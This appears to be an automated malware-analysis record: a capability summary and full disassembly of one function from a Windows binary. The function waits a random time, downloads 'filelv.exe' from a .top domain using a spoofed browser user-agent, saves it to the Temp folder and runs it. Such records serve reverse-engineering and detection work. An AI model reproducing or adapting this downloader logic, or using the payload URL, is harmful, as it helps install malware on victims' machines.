Function at 0x4130d0
Capabilities:
Create http request
Create process on windows
Delete file
Download and write a file
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c038b
push eax
mov eax, 0x1690
mov dword fs:[0], esp
call fcn.004bef90
cmp byte [0x4da960], 0
push ebx
push esi
push edi
je 0x413118
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
mov esi, 0x3e9
idiv esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add edx, 0x514
push edx
call ebx
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_89.0.4389.72_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x4135de
push 0
push 0x84000000
push 0
push 0
push str.http:__lopcpd05.top_download.php_filelv.exe
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
je 0x4135d0
push 0x1000
lea eax, [ebp - 0x1698]
push 0
push eax
call fcn.004a3c90
add esp, 0xc
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor edi, edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
push 0x1000
lea eax, [ebp - 0x1698]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
call esi
test eax, eax
je 0x413227
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x413227
push eax
lea eax, [ebp - 0x1698]
push eax
lea eax, [edi + ebx]
push eax
call fcn.004a5830
add edi, dword [ebp - 0x10]
add esp, 0xc
lea eax, [edi + 0x1000]
push eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ebx, eax
push 0x1000
push 0
lea eax, [edi + ebx]
push eax
call fcn.004a3c90
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1698]
push eax
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x4131c4
cmp byte [0x4da960], 0
je 0x41324a
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
and eax, 0x80000003
jns 0x41325b
dec eax
or eax, 0xfffffffc
inc eax
lea edx, [eax + 5]
lea ecx, [ebp - 0x60]
call fcn.0040ef20
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
mov eax, dword [ebp - 0x50]
cmovae ecx, dword [ebp - 0x60]
add eax, ecx
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0x60]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x78]
call fcn.00405df0
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 1
push eax
mov edx, str._Temp__
lea ecx, [ebp - 0x48]
call fcn.00405bc0
add esp, 4
push str..exe
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4132c9
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x298]
push 0x200
push ecx
push eax
call esi
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x413318
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41330e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413625
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
cmp edx, 8
jb 0x41336a
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413360
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413625
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413387
sub ecx, edx
lea eax, [ebp - 0x298]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0041aa10
push 0x200
lea eax, [ebp - 0x698]
mov byte [ebp - 4], 3
push eax
push str._ComSpec_
call esi
lea eax, [ebp - 0x2c]
mov edx, 0x4cf5fc
push eax
lea ecx, [ebp - 0x94]
call fcn.00405bc0
add esp, 4
push 0x4cf5f8
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x48]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4133f2
mov eax, dword [eax]
push 0x200
lea ecx, [ebp - 0x498]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x34]
cmp edx, 8
jb 0x41343b
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413431
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41362a
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x80]
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 7
mov word [ebp - 0x48], ax
cmp edx, 8
jb 0x41348c
mov ecx, dword [ebp - 0x94]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413482
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41362a
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4134f5
push 0
lea eax, [ebp - 0x7c]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4134f5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x698]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x41353f
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x413535
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41362f
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x64]
cmp edx, 8
jb 0x413579
mov ecx, dword [ebp - 0x78]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41356f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41362f
push edx
push ecx
call fcn.004a24e6
add esp, 8
mov edx, dword [ebp - 0x4c]
xor eax, eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 7
mov word [ebp - 0x78], ax
cmp edx, 0x10
jb 0x4135c1
mov ecx, dword [ebp - 0x60]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4135b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41362f
push edx
push ecx
call fcn.004a24e6
add esp, 8
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x30]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, 0x3e9
cmp byte [0x4da960], 0
je 0x413601
push 0
call fcn.004ab5ce
add esp, 4
push eax
call fcn.004aa01a
add esp, 4
mov byte [0x4da960], 0
call fcn.004a9ff9
cdq
idiv esi
add edx, 0x44c
push edx
call ebx
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3